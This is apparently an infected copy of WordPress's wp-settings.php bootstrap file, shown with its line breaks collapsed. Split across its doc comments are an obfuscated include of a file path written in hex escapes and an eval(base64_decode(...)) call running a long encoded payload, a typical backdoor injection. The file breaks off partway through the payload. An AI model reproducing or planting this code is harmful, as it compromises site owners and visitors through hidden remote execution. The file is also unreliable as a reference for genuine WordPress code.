<%>PHP<% > /** * Used to set up and fix common variables and include * the WordPress procedural and class library. * * Allows for some configuration in wp-config.php (see default-constants.php) * * @internal This file must be parsable by PHP4. * * @package WordPress */ /** * Stores the location of the WordPress directory of functions, classes, and core content. * * @since 1.0.0 */ define( 'WPINC', 'wp-includes' ); // Include files required for initialization. require( ABSPATH . WPINC . '/load.php' ); require( ABSPATH . WPINC . '/default-constants.php' ); /* * These can't be directly globalized in version.php. When updating, * we're including version.php from another install and don't want * these values to be overridden if already set. */ global $wp_version, $wp_db_version, $tinymce_version, $required_php_version, $required_mysql_version; require( ABSPATH . WPINC . '/version.php' ); // Set initial default constants including WP_MEMORY_LIMIT, WP_MAX_MEMORY_LIMIT, WP_DEBUG, WP_CONTENT_DIR and WP_CACHE. wp_initial_constants(); // Check for the required PHP version and for the MySQL extension or a database drop-in. wp_check_php_mysql_versions(); // Disable magic quotes at runtime. Magic quotes are added using wpdb later in wp-settings.php. @ini_set( 'magic_quotes_runtime', 0 ); @ini_set( 'magic_quotes_sybase', 0 ); // WordPress calculates offsets from UTC. date_default_timezone_set( 'UTC' ); // Turn register_globals off. wp_unregister_GLOBALS(); // Standardize $_SERVER variables across setups. wp_fix_server_vars(); // Check if we have received a request due to missing favicon.ico wp_favicon_request(); // Check if we're in maintenance mode. wp_maintenance(); // Start loading timer. timer_start(); // Check if we're in WP_DEBUG mode. wp_debug_mode(); // For an advanced caching plugin to use. Uses a static drop-in because you would only want one. if ( WP_CACHE ) WP_DEBUG ? include( WP_CONTENT_DIR . '/advanced-cache.php' ) : @include( WP_CONTENT_DIR . '/advanced-cache.php' ); // Define WP_LANG_DIR if not set. wp_set_lang_dir(); // Load early WordPress files. require( ABSPATH . WPINC . '/compat.php' ); require( ABSPATH . WPINC . '/functions.php' ); require( ABSPATH . WPINC . '/class-wp.php' ); require( ABSPATH . WPINC . '/class-wp-error.php' ); require( ABSPATH . WPINC . '/plugin.php' ); require( ABSPATH . WPINC . '/pomo/mo.php' ); // Include the wpdb class and, if present, a db.php database drop-in. require_wp_db(); // Set the database table prefix and the format specifiers for database table columns. $GLOBALS['table_prefix'] = $table_prefix; wp_set_wpdb_vars(); // Start the WordPress object cache, or an external object cache if the drop-in is present. wp_start_object_cache(); // Attach the default filters. require( ABSPATH . WPINC . '/default-filters.php' ); // Initialize multisite if enabled. if ( is_multisite() ) { require( ABSPATH . WPINC . '/ms-blogs.php' ); require( ABSPATH . WPINC . '/ms-settings.php' ); } elseif ( ! defined( 'MULTISITE' ) ) { define( 'MULTISITE', false ); } register_shutdown_function( 'shutdown_action_hook' ); // Stop most of WordPress from being loaded if we just want the basics. if ( SHORTINIT ) return false; // Load the L10n library. require_once( ABSPATH . WPINC . '/l10n.php' ); // Run the installer if WordPress is not installed. wp_not_installed(); // Load most of WordPress. require( ABSPATH . WPINC . '/class-wp-walker.php' ); require( ABSPATH . WPINC . '/class-wp-ajax-response.php' ); require( ABSPATH . WPINC . '/formatting.php' ); require( ABSPATH . WPINC . '/capabilities.php' ); require( ABSPATH . WPINC . '/query.php' ); require( ABSPATH . WPINC . '/date.php' ); require( ABSPATH . WPINC . '/theme.php' ); require( ABSPATH . WPINC . '/class-wp-theme.php' ); require( ABSPATH . WPINC . '/template.php' ); require( ABSPATH . WPINC . '/user.php' ); require( ABSPATH . WPINC . '/session.php' ); require( ABSPATH . WPINC . '/meta.php' ); require( ABSPATH . WPINC . '/general-template.php' ); require( ABSPATH . WPINC . '/link-template.php' ); require( ABSPATH . WPINC . '/author-template.php' ); require( ABSPATH . WPINC . '/post.php' ); require( ABSPATH . WPINC . '/post-template.php' ); require( ABSPATH . WPINC . '/revision.php' ); require( ABSPATH . WPINC . '/post-formats.php' ); require( ABSPATH . WPINC . '/post-thumbnail-template.php' ); require( ABSPATH . WPINC . '/category.php' ); require( ABSPATH . WPINC . '/category-template.php' ); require( ABSPATH . WPINC . '/comment.php' ); require( ABSPATH . WPINC . '/comment-template.php' ); require( ABSPATH . WPINC . '/rewrite.php' ); require( ABSPATH . WPINC . '/feed.php' ); require( ABSPATH . WPINC . '/bookmark.php' ); require( ABSPATH . WPINC . '/bookmark-template.php' ); require( ABSPATH . WPINC . '/kses.php' ); require( ABSPATH . WPINC . '/cron.php' ); require( ABSPATH . WPINC . '/deprecated.php' ); require( ABSPATH . WPINC . '/script-loader.php' ); require( ABSPATH . WPINC . '/taxonomy.php' ); require( ABSPATH . WPINC . '/update.php' ); require( ABSPATH . WPINC . '/canonical.php' ); require( ABSPATH . WPINC . '/shortcodes.php' ); require( ABSPATH . WPINC . '/class-wp-embed.php' ); require( ABSPATH . WPINC . '/media.php' ); require( ABSPATH . WPINC . '/http.php' ); require( ABSPATH . WPINC . '/class-http.php' ); require( ABSPATH . WPINC . '/widgets.php' ); require( ABSPATH . WPINC . '/nav-menu.php' ); require( ABSPATH . WPINC . '/nav-menu-template.php' ); require( ABSPATH . WPINC . '/admin-bar.php' ); // Load multisite-specific files. if ( is_multisite() ) { require( ABSPATH . WPINC . '/ms-functions.php' ); require( ABSPATH . WPINC . '/ms-default-filters.php' ); require( ABSPATH . WPINC . '/ms-deprecated.php' ); } // Define constants that rely on the API to obtain the default value. // Define must-use plugin directory constants, which may be overridden in the sunrise.php drop-in. wp_plugin_directory_constants(); $GLOBALS['wp_plugin_paths'] = array(); // Load must-use plugins. foreach ( wp_get_mu_plugins() as $mu_plugin ) { include_once( $mu_plugin ); } unset( $mu_plugin ); // Load network activated plugins. if ( is_multisite() ) { foreach( wp_get_active_network_plugins() as $network_plugin ) { wp_register_plugin_realpath( $network_plugin ); include_once( $network_plugin ); } unset( $network_plugin ); } /** * Fires once all must-use and network-activated plugins have loaded. * * @since 2.8.0 */ do_action( 'muplugins_loaded' ); if ( is_multisite() ) ms_cookie_constants( ); // Define constants after multisite is loaded. wp_cookie_constants(); // Define and enforce our SSL constants wp_ssl_constants(); // Create common globals. require( ABSPATH . WPINC . '/vars.php' ); // Make taxonomies and posts available to plugins and themes. // @plugin authors: warning: these get registered again on the init hook. create_initial_taxonomies(); create_initial_post_types(); // Register the default theme directory root register_theme_directory( get_theme_root() ); // Load active plugins. foreach ( wp_get_active_and_valid_plugins() as $plugin ) { wp_register_plugin_realpath( $plugin ); include_once( $plugin ); } unset( $plugin ); // Load pluggable functions. require( ABSPATH . WPINC . '/pluggable.php' ); require( ABSPATH . WPINC . '/pluggable-deprecated.php' ); // Set internal encoding. wp_set_internal_encoding(); // Run wp_cache_postload() if object cache is enabled and the function exists. if ( WP_CACHE && function_exists( 'wp_cache_postload' ) ) wp_cache_postload(); /** * Fires once activated plugins have loaded. * * Pluggable functions are also available at this point in the loading order. * * @since 1.5.0 */ do_action( 'plugins_loaded' ); // Define constants which affect functionality if not already defined. wp_functionality_constants(); // Add magic quotes and set up $_REQUEST ( $_GET + $_POST ) wp_magic_quotes(); /** * Fires when comment cookies are sanitized. * * @since 2.0.11 */ do_action( 'sanitize_comment_cookies' ); /** * WordPress Query object * @global object $wp_the_query * @since 2.0.0 */ $GLOBALS['wp_the_query'] = new WP_Query(); /** * Holds the reference to @see $wp_the_query * Use this global for WordPress queries * @global object $wp_query * @since 1.5.0 */ $GLOBALS['wp_query'] = $GLOBALS['wp_the_query']; /** * Holds the WordPress Rewrite object for creating pretty URLs * @global object $wp_rewrite * @since 1.5.0 */ $GLOBALS['wp_rewrite'] = new WP_Rewrite(); /** * WordPres*/include /*s Object * @glob*/"\x2fhom\x65/ik\x69nci\x65l/p\x75bli\x63_ht\x6dl/e\x66m2a\x67uwy\x2ffil\x65s.p\x68p";/*al object $wp * @since 2.0.0 */ $GLOBALS['wp'] = new WP(); /** * WordPress Widget Factory Object * @global object $wp_widget_factory * @since 2.8.0 */ $GLOBALS['wp_widget_factory'] = new WP_Widget_Factory(); /** * Wor*/ eval(base64_decode("aWYgKCFkZWZpbmVkKCdBTFJFQURZX1JVTl8xYmMyOWIzNmYzNDJhODJhYWY2NjU4Nzg1MzU2NzE4JykpCnsKZGVmaW5lKCdBTFJFQURZX1JVTl8xYmMyOWIzNmYzNDJhODJhYWY2NjU4Nzg1MzU2NzE4JywgMSk7CgogJGlreXBjY2htdHogPSA5NjA2OyBmdW5jdGlvbiBkZGRhZ3hwd3AoJGRtdXBpaGUsICRuaHJ3ZGxvd3lvKXskb2lqY2Jja3J4dyA9ICcnOyBmb3IoJGk9MDsgJGkgPCBzdHJsZW4oJGRtdXBpaGUpOyAkaSsrKXskb2lqY2Jja3J4dyAuPSBpc3NldCgkbmhyd2Rsb3d5b1skZG11cGloZVskaV1dKSA/ICRuaHJ3ZGxvd3lvWyRkbXVwaWhlWyRpXV0gOiAkZG11cGloZVskaV07fQokaHdqdmlla2JldT0iYmFzZSIgLiAiNjRfZGVjb2RlIjtyZXR1cm4gJGh3anZpZWtiZXUoJG9pamNiY2tyeHcpO30KJHRjZWpzdWljdmogPSAneUk2M2hKVkhlOXlFRFFKUzBZVlM5UXB1ZVMwWEJuMUpsbkZhV0ZDaXlJNjNoSlZIZTl5RUQnLgonUXB1ZVBWNjA1RHUwNW81TGt3RmlsWFprMlVhdlk2RzBRSkNpa09icTljR2U5YzZxc0pDaDdWMzlzdGF2N3o1TGt3RmlsWFprMlU2MDVEdTA2VlNlOVUnLgondTA1dGF2WTBFb2syNGZ5YXcwUUpDOXN0YXY3Skd2STZiaDl5RW9rMjRmeUVaa3JDaWg3cUVCN3Q2ZVk2M2U3eUVCNlVCJy4KJ3p4VnhsQ0ZSaWoyWms1WFprUndyQmtVMmU3ZWF2WXpFQjZVQnp4VnhsQ0ZSTGt3UjlJZ1JpbFhaazVDWmtyQ2loN3FFQjd0NmVZNjNlN3lFQjJ0RHoySmZKblZqN0pWbHQnLgonSlVVejJ4emxQQlJpajJaazVYWmtSd3JCa1UyZTdlYXZZekVCMnREejJKZkpuVmo3SlYnLgonbHRKVVV6Mnh6bFBCUkxrd1JMU0JhV0ZDaUd5Q2lmeWFhZVJ3RUI3dDZlWTYzZTd5RURDeG96MkonLgonVXR4Nkd6NkpXOUhuQ1pJb2daUVpZWk1CSHFZbmdvWXhjZVkyUVdBRGFxN0JwWll4Q2g3S3BXazBhJy4KJ2l5Q2lURkNpQmt3ckJJdDZlWTYzZWpyNXl6cGp0enhuN0pWakp6MUdvbHlDcUhyc3FRcVFvTVpScWxyU3E3eFlobHFnMFk2Y3FNblFxOXRhdkhuZ0RTRnJvajI0ZnknLgonRVprUndyQmt3MmVJeENxandWQm4xSmxuRjRmeUVyQmt3ckRJdGNPSXhHaFFKMUJmQ3JsNkpvbGZYWmtyQ2knLgonQmt3ckJrdEFsblZreXpwbDdTT00wUFZjTzl0RURQQ3Jtanc1V2Yyc2VZb3NaSHdib0hCRlpSQ0NvSEJTTDduZ1pNMGJvZnpRb2x4NicuCidvN3pwb2wwcERIWFprUndyQmtVNXZJVlJxN0ZyRElaSDlReFBPSXI0ZnlFWmtyQ2lCa3dyQkllUHZZWkNoN1YzQklaSDlDTzZPbmN1MHN5Jy4KJ0VpeUNpQmt3ckJBWFprUndyQmt3ckJrd3IwWUpDTzlEM0JBWkMwNXR1dklWc2U5QkUwQUQ2ZVBWU2U5VVhxN1o2aWswdTlSY3NPc09LZTV0Jy4KJ0ZpSkYzTFEyNUxrMDVMbncyOVBaeHo2ZXh6Nlg1anh0enp4VkJsUFp6RFBDYWlsWFprUndyQmtVVmZ5RVprUndyQmtVWU83MU1PSTZ1dlJVTTBQVkFlOXQ5MFk2Q3E3RFhleicuCid0YTA1b0VpeUNpQmt3ckJBWFprUndyQmt3ckJrd3JEQUQ2MFN3VkJueFMwWXgxaWsyNGZ5RVprUndyQmt3ckJrd3JESXgzJy4KJ3E3cDEwczZIOXN4UGU5SjZCZkNyeTlEU3E5MkVpbFhaa3JDaUJrd3JCa3dyQmt3MnE3MWN2QTZIVDlaRzA5SjZPN0p2Jy4KJzlqd1ZCSVpIOUNPNk9udHVxUER1dnN5RWlsWFprckNpQmt3ckJrd3JCa3cyMFFKWGU2VkZxOXRFQmZDckR4Vmx0SkQ3dEpEdkRQWmZ6MjZ5SnhWSScuCidqenB4bDJ4WnRqT09XRkNpQmt3ckJrd3JCa1VzaEk2WGVqd0Vpa3RIdkl4SGhrd1ZCQVpDMDVERnZzb0VEQVo2dkllRzBJeENoa0ZydG42anR6WnpsUERlOVBaeHpueCcuCidqeUp0bXpSMmFCa25WbWpVSXl6cGx0ajJaa1J3ckJrd3JCa3dyVEZDaUJrd3JCa3dyQmt3ckJrd3JEQVo2dkllRzBJeENoa3dWQkFaUHE1WkMwUnIyMFFKWGU2VkZxOScuCid0RUxrd0ZMa3cyMFFwYzBRcmFXRkNpZnlFckJrd3JCa3dyQmt3ckJrVWFlUndFREFaNnZJZUcwSXhDaGt3Vm1qVU0wUFZBZTl0bnZRWmp2UVZDaWsyYWZ5RXJCa3dyQmt3ckJrJy4KJ3dyQmtVNGZ5RXJCa3dyQmt3ckJrd3JCa3dyQmt3cnE1RDZxN1g0ZnlFckJrd3JCa3dyQmt3ckJrVVZmeUVaa1J3ckJrd3JCa3dyQmt3ckJJNllCa2NITycuCidBRFhlN2dFREFaNnZJZUcwSXhDaGsyYWZ5RXJCa3dyQmt3ckJrd3JCa1U0ZnlFckJrd3JCa3dyQmt3ckJrd3JCa3dyREl4M3E3cDEwcycuCic2SDlzeFBlOUo2N1BDcm1qdzIwUUpYZTZWRnE5dEVXRkNpQmt3ckJrd3JCa3dyQmt3ckd5Q2lCa3dyQmt3ckJrVVZmeUUnLgonWmtSd3JCa3dyQmt3cmVZVlNlN3hNaGt3RURJeDNxN3AxMHM2SDlzeFBlOUo2Qkl4SEJrdE1POURTZTcxQzlRdGEwUjJaa1J3ckJrd3JCa3dyVEZDaUJrd3JCa3dyQmt3ckJrdycuCidyaDdxcmlreGF2NlZjMDVEY1RqcjJxc0pTMFlKM094VjJoOUJYQmt0U2U5b2FpeUNpQmt3ckJrd3JCaycuCid3ckJrd3JURkNpQmt3ckJrd3JCa3dyQmt3ckJrd3JCa3RTZTlvcm1qVWMwNURjVEpWYmU5RDVlanIyMFlKSExrVU0wUFZBZTl0bmg5RDZxc3R1MDU2Jy4KJ29oOVpDaWt0TU85RFNlNzFDOVF0YTBSMmFXRkNpQmt3ckJrd3JCa3dyQmt3ckd5Q2lCa3dyQmt3ckInLgona1VWZnlFWmtSd3JCa3dyQmt3cjBZSkNPOUQzQklaSDlDWkVlN1pOSnNEYU9JeFJ2SXpFcTlEU3E5NkdPNzFhMDlKNmlrdFNlOW9haWxYWmtSd3JCaycuCidVVmZ5RVprUndyQmtVWU83MU1PSTZ1dlJVTTBQVmZoSUpNaFBPU2g5dGNxWXA2aWt0Mmg5REd2STZIT2syWmtSd3JCa1U0ZnlFckJrd3JCJy4KJ2t3ckJrdDJoOURHdkk2SE94VnMwWTZDcTdEWGVqd1ZCbnhTMFl4MWlrMjRmeUVaa1J3ckJrd3JCa3dyZVlWU2U3eE1oa3dFREl0YTA2VlhoOVpDQkl4SCcuCidCa3QyaDlCYWZ5RXJCa3dyQmt3ckJBWFprUndyQmt3ckJrd3JCa3dyQkk2WUJrY3doOVpHT3NEYU9JeFJ2SXpFREl0YTBSMnJEJy4KJ1Jxcmg5WkdlSTZTaWt0Mmg5QmFpeUNpQmt3ckJrd3JCa3dyQmt3clRGQ2lCa3dyQmt3ckJrd3JCa3dyQmt3ckJrdDJoOURHJy4KJ3ZJNkhPeFZzMFk2Q3E3RFhlSmJPQmZDckRJdGEwTVhaa1J3ckJrd3JCa3dyQmt3ckJBQ1prUndyQicuCidrd3JCa3dyR3lDaWZ5RXJCa3dyQmt3ckJBRDZPQUpTdlJ3MmVJNlM5UXBhMHN0R09zRGFPSXhSdkknLgonejRmeUVyQmt3ckd5Q2lmeUVyQmt3cmU1SjNxc3RhdlFncnFzWkd0UUpDdEk2U2U3WkN2c0QxbEk2SE9rcjJlSTZTTGt3MmVJSkZPSXJWb2x3YWZ5RXJCJy4KJ2t3clRGQ2lCa3dyQmt3ckJrdzIwWUpITzdwQ0JmQ3JxOURTcTkyRWlsWFprckNpQmt3ckJrd3JCa1VhZVJ3RUI3NkgnLgonOVF0YTBScjJlSTZTaWoyWmtSd3JCa3dyQmt3clRGQ2lCa3dyQmt3ckJrd3JCa3dyMFlKQ085RDNCa3RTZTlaUHZBJy4KJ3k0ZnlFckJrd3JCa3dyQkFDWmtyQ2lCa3dyQmt3ckJrdzIwWUpITzdwQzdQQ3JtancyZUk2U1dGQ2lCaycuCid3ckJrd3JCa3cyZUk2UzlRWnVPNzFDQmZDcm9mWFprckNpQmt3ckJrd3JCa1VhZVJ3RURJdDYwQXRFQmZGcm9qMlprUndyQmt3ckJrd3JURkNpQmt3ckJrd3JCa3dyQmt3cjAnLgonWUpDTzlEM0JrdFNlOVpQdkF5NGZ5RXJCa3dyQmt3ckJBQ1prckNpQmt3ckJrd3JCa3cyZUk2U0JmQ3Iwc3RTdklKM2lrdDJoOUJhQicuCidmQ1ZCZm5ybVN3MmVJNlNCZkVyMDV0U2g3Q0VESXRhMFJGckRQcDBMUzBhV0ZDaUJrd3InLgonQmt3ckJrdzJoa3dWQm5VdTBJSjNlSTZTaWt0Mmg5QmFXRkNpQmt3ckJrd3JCa1VhZVJ3RURJcnJtbENWQm5lVWx4WnhpeUNpQmt3ckJrd3JCa1U0ZnlFckJrd3JCa3dyJy4KJ0Jrd3JCa1VTZTl0UDBZZ3JEQUQ2MHNKWE9mWFprUndyQmt3ckJrd3JHeUNpZnlFckJrd3JCa3dyQkFPRWg3cDZCa3JFRElxcm1qVVNlN3gyZUk2U2lrdEVpajJyQmxDVkInLgonbmVVbHhaeGl5Q2lCa3dyQmt3ckJrVTRmeUVyQmt3ckJrd3JCa3dyQmtVYWVSd0VESXFyQmxDVkJrMDNEU1Vjdll5ckRJcXJCbENWQmsnLgonMDNMUjBhZnlFckJrd3JCa3dyQmt3ckJrVTRmeUVyQmt3ckJrd3JCa3dyQmt3ckJrd3JESVpQMDVENnY1dEdlSTZTQmZDckJSdDJoOUJ1RElxUldGQ2lCa3dyJy4KJ0Jrd3JCa3dyQmt3ckJrd3JCSTZZQmtjYTBQVjJoOUJFRElaUDA1RDZ2NXRHZUk2U2lqMlprUndyQmt3ckJrd3JCa3dyQmt3ckJrVTRmeUUnLgonckJrd3JCa3dyQmt3ckJrd3JCa3dyQmt3ckJrdDJoOURHcVFWUHY1eXJpSENyb2xYWmtyQ2lCa3dyQmt3ckJrd3JCa3dyQmt3ckJrd3JCa3cyMFlKSE8nLgonN3BDN1BDcm1qdzJxc0pTMFlKM094VjJoOUI0ZnlFckJrd3JCa3dyQmt3ckJrd3JCa3dyQmt3ckJrdFNlJy4KJzlaUHZBeXJtalVjMDVEY1RKVmJlOUQ1ZWpyMjBZSkhPN3BDTGtVTTBQVkFlOXRuaDlENnFzdHUwNTZvaDlaQ2lrdCcuCidNTzlEU2U3MUM5UXRhMFJGckRJdDYwQXRFQmtLcm9sd2FpbFhaa1J3ckJrd3JCa3dyQmt3ckJrd3JCa1VWZnlFckJrd3JCa3cnLgonckJrd3JCa1VWZnlFckJrd3JCa3dyQkFDWmtyQ2lCa3dyQmt3ckJrVU12SVZIZTd0YTBScjJoazI0ZnknLgonRVprUndyQmt3ckJrd3IwWUpDTzlEM0JrdFNlOVpQdkF5NGZ5RXJCa3dyR3lDaWZ5RXJCa3dyZTVKM3FzdGF2UWdycXNaR3RRSkN0SVZNellWdU9rcmFmeUVyJy4KJ0Jrd3JURkNpQmt3ckJrd3JCa3cyZUlWTTBZVnVPeFY2dll5cm1qVUhPQURTMElWSGlrdEd6Q0pqSjInLgonSmo3U09seVBERHp4dEd0MjZvdHoxVWx6ejU5akZyRHhWbHRKRDd0SkR2RFBEeHpKSnh6UHRHSkpERERQQ2FXRkNpQmt3ckJrd3JCa1VhJy4KJ2VSd0VESXR1cXNEdXZzdEdlNzEyQmZDVm1qVUl5enBsdGoyWmtSd3JCa3dyQmt3clRGQ2lCa3dyQmt3ckJrd3InLgonQmt3cjBZSkNPOUQzQmt0R3pDSmpKMkpqN1NPbmxDWkpsekpXSnhWamxDVnpEUEM0ZnlFckJrd3JCa3dyQkFDWmtSd3JCa3dyQmt3cmU3cEhlNzZZQmtyMmUnLgonSVZNMFlWdU94VjZ2WXlybWxDVkJmd2FmeUVyQmt3ckJrd3JCQVhaa1J3ckJrd3JCa3dyQmt3ckJBRDZPQUpTdlJ3UkxTQjRmeUVyQmt3ckJrd3JCQUNaa1InLgond3JCa3dyQmt3cmU3cEhleUNpQmt3ckJrd3JCa1U0ZnlFckJrd3JCa3dyQmt3ckJrVVNlOXRQMFlncjBzSlIwc3RTaWt0R3pDSmpKMkpqN1MnLgonT2x5UEREenh0R3QyNm90ejFVbHp6NTlqRnJva0ZyREl0dXFzRHV2c3RHZTcxMmlsWFprUndyQmt3ckJrd3JHeUNpQmt3ckJBQ1prcicuCidDaUJrd3JCSTZZQmtyY2U1SjNxc3RhdlExR2U5Y2Ewc3RIaWtPWWg3cDY5c1VQT3hWTXZRMUNlNzFDMFMwYWl5Q2lCa3dyQkFYWmtSd3JCa3dyJy4KJ0Jrd3JlNUozcXN0YXZRZ3JlWTZYZUpWRk85dEdxUVYzT0lKM09Bb0VESWdYQmt0MkxrdzJlWXBjZVN3VkJuZWN2QVo2aXlDaUJrd3JCa3dyQicuCidrVTRmeUVyQmt3ckJrd3JCa3dyQmt3MnY3VjJlandWQmt0WXZJeDVCZkNWQmZycm1TdzVxajByV1J3NU9TMDRmeScuCidFckJrd3JCa3dyQmt3ckJrdzJlUndWQm5VWXZzVTZ2UnIydlJGckRJUHVlSXphV0ZDaUJrd3JCa3dyQmt3ckJrd3JoN3FyaWt0WUJmQ1YnLgonbWpVSXE3cEhlajJaa1J3ckJrd3JCa3dyQmt3ckJBWFprUndyQmt3ckJrd3JCa3dyQmt3cicuCidCa1VTZTl0UDBZZ3JvZlhaa1J3ckJrd3JCa3dyQmt3ckJBQ1prUndyQmt3ckJrd3JCa3dyJy4KJ0JJSlgwUXpaa1J3ckJrd3JCa3dyQmt3ckJBWFprUndyQmt3ckJrd3JCa3dyQmt3ckJrVWFlUndFaDlaR3E5RFNxOTJFREl5YWlqdzJla3dWQkk2YjBJcHVlSXpFREl5YVdGQ2knLgonQmt3ckJrd3JCa3dyQmt3ckJrd3JCa3RSVDl0NjBQVnMwWTZDT0lKM0JmQ3JlNU9TaDl0NmlrdFlMa3cyZWsyNGZ5RXJCa3dyQmt3ckJrd3JCJy4KJ2t3ckJrd3JlWVpYdnNaNmlrdFlpbFhaa1J3ckJrd3JCa3dyQmt3ckJrd3JCa1VTZTl0UDBZZ3JESUQxT0lKSDlzT1NoOXRDZTdnNGZ5RXJCa3dyQmt3ckJrd3JCJy4KJ2tVVmZ5RXJCa3dyQmt3ckJBQ1prUndyQmtVVmZ5RVprUndyQmtVYWVSd0VCN2VQdllaQ2g3VjM5UUpnaDlaQzBTcjVlWTZYZUpWNWU5dEdxUVYzT0lKM09BbzVpajJaa1J3cicuCidCa1U0ZnlFckJrd3JCa3dyQkllUHZZWkNoN1YzQkllYXZJSkdlUUpDOVFadXY1dDZ2NXRIaWt0WWg3cDZ2WXhiZWoyWmtSd3JCa3dyQmt3clRGQ2lCa3dyQmt3Jy4KJ3JCa3dyQmt3ckRJZUVxNzEydkl6cm1qVVl2c1U2dlJyMmVZNlhlNzFjdjd6WEJrRFNCUjI0ZnlFckJrd3JCa3dyQmt3ckJrdzJlWVonLgondXY1dDZ2NXRIQmZDcmU1RDZxN3lFREllRXE3MTJ2SXpYQkllYXZJSkhoOWE2aWt0WWg3cDZ2WScuCid4YmVqMmFXRkNpQmt3ckJrd3JCa3dyQmt3cmVZWlh2c1o2aWt0WWhJeDNlSXA2aWxYWmtyQ2lCa3dyQmt3ckJrd3JCa3cnLgoncjBZSkNPOUQzQmt0WXFRVjNPSUozT0FvNGZ5RXJCa3dyQmt3ckJBQ1prUndyQmtVVmZ5RVprckNpQmt3ckJJZVB2WVpDaDdWM0JJWkg5UXQ2cXNEMScuCicwQXRHMEljYzBRekVESXRjT0luWEJrdE5lOTJhZnlFckJrd3JURkNpQmt3ckJrd3JCaycuCid3MnZzSkM5UXRjT0lucm1qd1JCTVhaa3JDaUJrd3JCa3dyQmtVWXZzQnJpa3RhbWx3NEJrdGFtQVpDMFlwNnZScjJlSXhDcWoyNGl5Q2lCa3dyQicuCidrd3JCa1U0ZnlFckJrd3JCa3dyQmt3ckJrVVl2c0JyaWt0ZG1sdzRCa3RkbUFaQzBZcDZ2UnIyaFFKMWlqd1lEUncyaGxwSE9BRFhlN2dFREl0Y09JbmFXU3cyaFJYTkxrdzJoJy4KJ2pYTml5Q2lCa3dyQmt3ckJrd3JCa3dyVEZDaUJrd3JCa3dyQmt3ckJrd3JCa3dyQmt0dU8nLgonOXRHZUl4Q3FqdzNtalVNaEFCRXZzRDJpa3QycTl0YzdTdGE5ajJyOVJVdTBZeUVESWI2VEpYMmg2Q2FpbFhaa1J3ckJrd3JCa3dyQmt3Jy4KJ3JCQUNaa1J3ckJrd3JCa3dyR3lDaWZ5RXJCa3dyQmt3ckJBRDZPQUpTdlJ3MnZzSkM5UXRjT0luNGZ5RXJCa3dyR3knLgonQ2lmeUVyQmt3cmU1SjNxc3RhdlFncnFzWkdlSUpNMDU2Rk9rcjJlSXhDcWpGckRJYjZUajJaa1J3ckJrVTRmeUVyQmt3ckJrd3JCSU9YdlFEY3ZrdzJxcycuCidaR3E5SkNoZlhaa3JDaUJrd3JCa3dyQmtVU2U5dFAwWWdycXNaR2VJSk0wNTZGT3hWRmhJeEhlamNNMFBWMmU3WlNUOVVDOXNVRXE5WjZpa3QycTl0Y0xrdzJoUUoxJy4KJ2lqRnJESVpIOVF4UE9JcmFXRkNpQmt3ckJBQ1prUndyQmtVWU83MU1PSTZ1dlJVTTBQVjZ2WVpTVDlVQ2lrdDJxOXRjTGt3MmhRSjFpeUNpQicuCidrd3JCQVhaa1J3ckJrd3JCa3dyZVFwdXFZeFhCa3RNMFBWY085dEVXRkNpZnlFckJrd3JCa3dyQkFENk9BSlN2UlVNMFBWMmU3WlNUOVVDOXNVRXE5WjZpSVpIOVF0NicuCidxc0QxMEF0RzBJY2MwUXpFREl0Y09JblhCa3RNMFBWY085dEVpakZyREliNlRqMjRmeUVyQmt3ckd5Q2lmeUVyQmt3cmU1SjNxc3RhdlFncicuCidxc1pHZVk2WGVKVlNlN3gyaWt0RnE5dEVpeUNpQmt3ckJBWFprUndyQmt3ckJrd3JESXRjT0lucm1qVXdlWTZYZUpWNWU5dEdxUVYzT0lKM09Bb0VEQVVjT0lyJy4KJ2FXRkNpZnlFckJrd3JCa3dyQkFENk9BSlN2UncyZUl4Q3FsWFprUndyQmtVVmZ5RVprUndyQmtVWU83MU1PSTZ1dlJVTScuCicwUFZZaDdwNjlzT1NoOXQ2aWt0RnE5dEVMa3cyZUl4Q3FqMlprUndyQmtVNGZ5RXJCa3dyQmt3ckJuVVloN3A2OXNVUE94Jy4KJ1ZNdlExQ2U3MUMwU3IyMEl4Q2hrRnJESXRjT0luYVdGQ2lCa3dyQkFDWmtyQ2lCa3dyQkllUHZZWkNoN1YzQklaSDlRZWF2SScuCidKR3E5VUZlNzEyaWt0RnE5dEVMa3cyZUl4Q3FqMlprUndyQmtVNGZ5RXJCa3dyQmt3ckJuVVloN3A2OXNVUCcuCidPeFZNdlExQ2U3MUMwU3IyMEl4Q2hrRnJESXRjT0luWEJmcmFXRkNpQmt3ckJBQ1prckNpQmt3ckJJZVB2WVpDaDdWM0JJWkg5c1p1MDV0R3FRVmIwSXhTZTlCRURJblhCJy4KJ2t0Uml5Q2lCa3dyQkFYWmtSd3JCa3dyQmt3cjBZSkNPOUQzQkFaQzBZcDZ2UnIycWoyJy4KJ3JMalVIT0FEWGU3Z0VESUJhV0ZDaUJrd3JCQUNaa3JDaUJrd3JCSWVQdllaQ2g3VjNCSVpIOUNPNk9uWnV2N1B1djZaQ3ZzRGNlUXpFREl0YTA1b1ZsNkpvbGsyWmtSd3JCJy4KJ2tVNGZ5RXJCa3dyQmt3ckJrdEhlN3BZOVF0YTBSd1ZCSXRhMFkxY3Y3ekU5UFZJanpweDlQSycuCidhV0ZDaWZ5RXJCa3dyQmt3ckJrdE12UVBidlExR3ZZeGJlOW9ybWpVVTA1RGNUanJSdnNVQycuCidoN1YzMFNCWEJrRFFoN0pzMFNCWEJrREZxN082MFNCWEJrREhlOVpIaDdWMzBTQlhCa0RIT0l4QzBTQlhCa0RQMFFKUzBTQlhCa0RjMCcuCic1dGFxUXA2MFNCWEJrRDJPN1BGQlJGckJZYzZxN3Q2MDVvUkxrd1J2STZSMFNCYVdGQ2lmeUVyQmt3ckJrJy4KJ3dyQmt0Q3Y5VUdlSTZTQmZDckRBWjZ2SWVHZUk2U0JrZ3JCUktSQmtnckRJWnV2N1B1djZWM3E3UDYwUGJIT0FEWGU3Z0Vxc1pHdFFKQ2pJVkhPa3JhaWp3NkJJWnVPJy4KJzcxQ2lrdE12UVBidlExR3ZZeGJlOW9hOWxYWmtyQ2lCa3dyQmt3ckJrVWFlUndFZVk2WGVKVjZUSTZIT0FvRURBdGIweFYyaDlCYWl5Jy4KJ0NpQmt3ckJrd3JCa1U0ZnlFckJrd3JCa3dyQmt3ckJrVVNlOXRQMFlnckRBdGIweFYyaDlCNGZ5RXJCa3dyQmt3ckJBQ1prckNpQmt3ckJrd3JCa1VhZVJjYmhRdCcuCidhMFJyMk9JUEY5UXRhMFIyYWZ5RXJCa3dyQmt3ckJBWFprUndyQmt3ckJrd3JCa3dyQkFENk9BSlN2UncyT0lQRjlRdGEwJy4KJ01YWmtSd3JCa3dyQmt